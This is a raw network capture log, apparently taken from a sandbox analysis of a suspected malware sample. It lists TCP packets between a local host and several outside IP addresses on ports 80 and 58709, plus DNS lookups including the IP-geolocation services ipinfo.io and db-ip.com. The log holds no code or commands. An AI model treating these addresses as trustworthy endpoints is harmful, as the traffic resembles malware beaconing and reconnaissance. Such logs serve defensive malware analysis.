Apr 18, 2024 23:40:23.258409023 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258553028 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258578062 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258627892 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258651972 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258721113 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258744001 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258914948 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.258939028 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259067059 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259090900 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259237051 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259260893 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259284973 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259306908 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259330988 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259355068 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259480000 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259502888 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259625912 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259649992 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259777069 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259840012 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259865046 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259887934 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259911060 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259933949 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.259957075 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260096073 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260128975 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260152102 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260176897 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260200024 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260224104 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260246992 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260381937 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260406971 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260428905 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260576963 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260602951 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260679007 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260703087 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260725021 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260799885 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260823965 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260848045 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260957003 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.260979891 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261012077 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261037111 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261217117 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261240959 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261264086 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261287928 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261311054 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261333942 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261409044 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261432886 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261455059 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261477947 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261502028 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261524916 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261548996 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261571884 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261595011 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261617899 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261666059 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261715889 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261739969 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261786938 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261811018 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261912107 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261939049 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261961937 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.261985064 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262008905 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262032032 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262106895 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262130976 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262204885 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262346029 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262371063 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262445927 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262470007 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262492895 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262540102 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262562990 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262587070 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262643099 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262666941 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262775898 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262886047 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262909889 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.262947083 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263169050 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263192892 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263216972 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263240099 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263262033 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263315916 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263339996 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263364077 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263386965 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263509035 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263564110 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263588905 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263612986 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263814926 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263839006 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263951063 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263974905 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.263998032 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264022112 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264045000 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264067888 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264091015 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264162064 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264187098 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264210939 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264234066 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264344931 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264369965 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264393091 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264442921 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264467001 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264491081 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264513969 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264640093 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264663935 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264725924 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.264843941 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.265618086 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:23.267245054 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.389302015 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.390029907 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.390151024 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.396389961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.396491051 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.396514893 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.396533966 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.408549070 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.408694983 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.412987947 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.413029909 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.413077116 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.418756008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.418797016 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.418848991 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.418869972 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.418888092 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.418916941 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.418926954 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.418937922 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.418965101 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.419002056 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.419015884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.419040918 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.419051886 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.419089079 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.426409960 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.426464081 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.439441919 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.518121004 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.681608915 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.688543081 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:23.688608885 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.830096960 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.830466986 CEST	49798	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:23.847682953 CEST	49799	58709	192.168.2.4	147.45.47.93
Apr 18, 2024 23:40:24.066526890 CEST	58709	49799	147.45.47.93	192.168.2.4
Apr 18, 2024 23:40:24.066620111 CEST	49799	58709	192.168.2.4	147.45.47.93
Apr 18, 2024 23:40:24.072607040 CEST	80	49797	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:24.074318886 CEST	49797	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:24.076612949 CEST	80	49798	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:24.076730013 CEST	49798	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:24.088983059 CEST	49798	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:24.103034019 CEST	49799	58709	192.168.2.4	147.45.47.93
Apr 18, 2024 23:40:24.285304070 CEST	58709	49799	147.45.47.93	192.168.2.4
Apr 18, 2024 23:40:24.321707964 CEST	58709	49799	147.45.47.93	192.168.2.4
Apr 18, 2024 23:40:24.321964025 CEST	49799	58709	192.168.2.4	147.45.47.93
Apr 18, 2024 23:40:24.335241079 CEST	80	49798	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:24.336081028 CEST	80	49798	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:24.341232061 CEST	49798	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:24.352981091 CEST	49798	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:24.354356050 CEST	49762	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:24.354798079 CEST	49800	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:24.410161972 CEST	49799	58709	192.168.2.4	147.45.47.93
Apr 18, 2024 23:40:24.540524006 CEST	58709	49799	147.45.47.93	192.168.2.4
Apr 18, 2024 23:40:24.597222090 CEST	80	49762	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:24.597974062 CEST	80	49800	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:24.599080086 CEST	80	49798	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:24.599200010 CEST	49762	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:24.599392891 CEST	49800	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:24.599479914 CEST	49800	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:24.603415966 CEST	80	49798	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:24.609230995 CEST	49798	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:24.637967110 CEST	49799	58709	192.168.2.4	147.45.47.93
Apr 18, 2024 23:40:24.676394939 CEST	58709	49799	147.45.47.93	192.168.2.4
Apr 18, 2024 23:40:24.727848053 CEST	49798	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:24.728357077 CEST	49801	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:24.834723949 CEST	49802	443	192.168.2.4	34.117.186.192
Apr 18, 2024 23:40:24.834763050 CEST	443	49802	34.117.186.192	192.168.2.4
Apr 18, 2024 23:40:24.835009098 CEST	49802	443	192.168.2.4	34.117.186.192
Apr 18, 2024 23:40:24.838339090 CEST	49802	443	192.168.2.4	34.117.186.192
Apr 18, 2024 23:40:24.838356018 CEST	443	49802	34.117.186.192	192.168.2.4
Apr 18, 2024 23:40:24.842717886 CEST	80	49800	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:24.846427917 CEST	80	49800	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:24.846528053 CEST	49800	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:24.955013990 CEST	49800	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:24.955364943 CEST	49803	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:24.973984003 CEST	80	49798	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:24.974090099 CEST	49798	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:24.979504108 CEST	80	49801	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:24.980000019 CEST	49801	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:24.980164051 CEST	49801	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:25.058073044 CEST	443	49802	34.117.186.192	192.168.2.4
Apr 18, 2024 23:40:25.058209896 CEST	49802	443	192.168.2.4	34.117.186.192
Apr 18, 2024 23:40:25.060076952 CEST	49802	443	192.168.2.4	34.117.186.192
Apr 18, 2024 23:40:25.060091019 CEST	443	49802	34.117.186.192	192.168.2.4
Apr 18, 2024 23:40:25.060475111 CEST	443	49802	34.117.186.192	192.168.2.4
Apr 18, 2024 23:40:25.140062094 CEST	49802	443	192.168.2.4	34.117.186.192
Apr 18, 2024 23:40:25.180136919 CEST	443	49802	34.117.186.192	192.168.2.4
Apr 18, 2024 23:40:25.201682091 CEST	80	49800	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:25.202393055 CEST	49800	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:25.206497908 CEST	80	49803	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:25.206605911 CEST	49803	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:25.207683086 CEST	49803	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:25.234946966 CEST	80	49801	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:25.235464096 CEST	80	49801	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:25.235522032 CEST	49801	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:25.238925934 CEST	49801	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:25.302872896 CEST	443	49802	34.117.186.192	192.168.2.4
Apr 18, 2024 23:40:25.303005934 CEST	443	49802	34.117.186.192	192.168.2.4
Apr 18, 2024 23:40:25.303178072 CEST	49802	443	192.168.2.4	34.117.186.192
Apr 18, 2024 23:40:25.305553913 CEST	49802	443	192.168.2.4	34.117.186.192
Apr 18, 2024 23:40:25.305553913 CEST	49802	443	192.168.2.4	34.117.186.192
Apr 18, 2024 23:40:25.305578947 CEST	443	49802	34.117.186.192	192.168.2.4
Apr 18, 2024 23:40:25.305589914 CEST	443	49802	34.117.186.192	192.168.2.4
Apr 18, 2024 23:40:25.423899889 CEST	49804	443	192.168.2.4	104.26.5.15
Apr 18, 2024 23:40:25.423959017 CEST	443	49804	104.26.5.15	192.168.2.4
Apr 18, 2024 23:40:25.424050093 CEST	49804	443	192.168.2.4	104.26.5.15
Apr 18, 2024 23:40:25.424685001 CEST	49804	443	192.168.2.4	104.26.5.15
Apr 18, 2024 23:40:25.424721003 CEST	443	49804	104.26.5.15	192.168.2.4
Apr 18, 2024 23:40:25.455300093 CEST	80	49803	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:25.455415964 CEST	80	49803	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:25.455580950 CEST	49803	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:25.456655979 CEST	49803	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:25.489983082 CEST	80	49801	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:25.494062901 CEST	80	49801	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:25.494131088 CEST	49801	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:25.610733032 CEST	49801	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:25.611515999 CEST	49805	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:25.655440092 CEST	443	49804	104.26.5.15	192.168.2.4
Apr 18, 2024 23:40:25.655518055 CEST	49804	443	192.168.2.4	104.26.5.15
Apr 18, 2024 23:40:25.657231092 CEST	49804	443	192.168.2.4	104.26.5.15
Apr 18, 2024 23:40:25.657249928 CEST	443	49804	104.26.5.15	192.168.2.4
Apr 18, 2024 23:40:25.657665014 CEST	443	49804	104.26.5.15	192.168.2.4
Apr 18, 2024 23:40:25.659090996 CEST	49804	443	192.168.2.4	104.26.5.15
Apr 18, 2024 23:40:25.704116106 CEST	443	49804	104.26.5.15	192.168.2.4
Apr 18, 2024 23:40:25.704363108 CEST	80	49803	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:25.708523035 CEST	80	49803	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:25.708615065 CEST	49803	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:25.813865900 CEST	49803	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:25.814110041 CEST	49806	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:25.858247995 CEST	80	49805	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:25.858356953 CEST	49805	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:25.858546019 CEST	49805	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:25.861933947 CEST	80	49801	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:25.862009048 CEST	49801	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:25.996414900 CEST	443	49804	104.26.5.15	192.168.2.4
Apr 18, 2024 23:40:25.996532917 CEST	443	49804	104.26.5.15	192.168.2.4
Apr 18, 2024 23:40:25.996802092 CEST	49804	443	192.168.2.4	104.26.5.15
Apr 18, 2024 23:40:25.997452021 CEST	49804	443	192.168.2.4	104.26.5.15
Apr 18, 2024 23:40:25.997487068 CEST	443	49804	104.26.5.15	192.168.2.4
Apr 18, 2024 23:40:25.997514963 CEST	49804	443	192.168.2.4	104.26.5.15
Apr 18, 2024 23:40:25.997529984 CEST	443	49804	104.26.5.15	192.168.2.4
Apr 18, 2024 23:40:25.997739077 CEST	49799	58709	192.168.2.4	147.45.47.93
Apr 18, 2024 23:40:26.060513020 CEST	80	49806	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:26.060590982 CEST	49806	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:26.060796022 CEST	49806	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:26.061410904 CEST	80	49803	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:26.061474085 CEST	49803	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:26.105282068 CEST	80	49805	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:26.105838060 CEST	80	49805	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:26.105901957 CEST	49805	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:26.106524944 CEST	49805	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:26.242183924 CEST	58709	49799	147.45.47.93	192.168.2.4
Apr 18, 2024 23:40:26.307256937 CEST	80	49806	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:26.308005095 CEST	80	49806	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:26.308060884 CEST	49806	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:26.308640003 CEST	49806	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:26.329631090 CEST	49799	58709	192.168.2.4	147.45.47.93
Apr 18, 2024 23:40:26.353264093 CEST	80	49805	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:26.359817982 CEST	80	49805	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:26.359941959 CEST	49805	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:26.479430914 CEST	49805	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:26.480150938 CEST	49807	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:26.554924011 CEST	80	49806	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:26.559353113 CEST	80	49806	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:26.559467077 CEST	49806	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:26.571875095 CEST	58709	49799	147.45.47.93	192.168.2.4
Apr 18, 2024 23:40:26.628140926 CEST	49799	58709	192.168.2.4	147.45.47.93
Apr 18, 2024 23:40:26.656750917 CEST	49799	58709	192.168.2.4	147.45.47.93
Apr 18, 2024 23:40:26.674221992 CEST	49806	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:26.674510002 CEST	49808	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:26.726152897 CEST	80	49805	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:26.726242065 CEST	49805	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:26.730467081 CEST	80	49807	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:26.730556011 CEST	49807	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:26.730767012 CEST	49807	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:26.888221025 CEST	58709	49799	147.45.47.93	192.168.2.4
Apr 18, 2024 23:40:26.888262033 CEST	58709	49799	147.45.47.93	192.168.2.4
Apr 18, 2024 23:40:26.888300896 CEST	58709	49799	147.45.47.93	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 18, 2024 23:40:13.238501072 CEST	192.168.2.4	1.1.1.1	0x11ef	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.238673925 CEST	192.168.2.4	1.1.1.1	0x7748	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Apr 18, 2024 23:40:17.411425114 CEST	192.168.2.4	1.1.1.1	0xb02c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:17.411817074 CEST	192.168.2.4	1.1.1.1	0x7363	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 18, 2024 23:40:20.144166946 CEST	192.168.2.4	1.1.1.1	0x81c5	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:20.144548893 CEST	192.168.2.4	1.1.1.1	0x5106	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Apr 18, 2024 23:40:21.257473946 CEST	192.168.2.4	1.1.1.1	0x93b3	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:21.257702112 CEST	192.168.2.4	1.1.1.1	0xbde2	Standard query (0)	play.google.com	65	IN (0x0001)	false
Apr 18, 2024 23:40:24.723454952 CEST	192.168.2.4	1.1.1.1	0xb7b8	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:25.306890965 CEST	192.168.2.4	1.1.1.1	0x3417	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
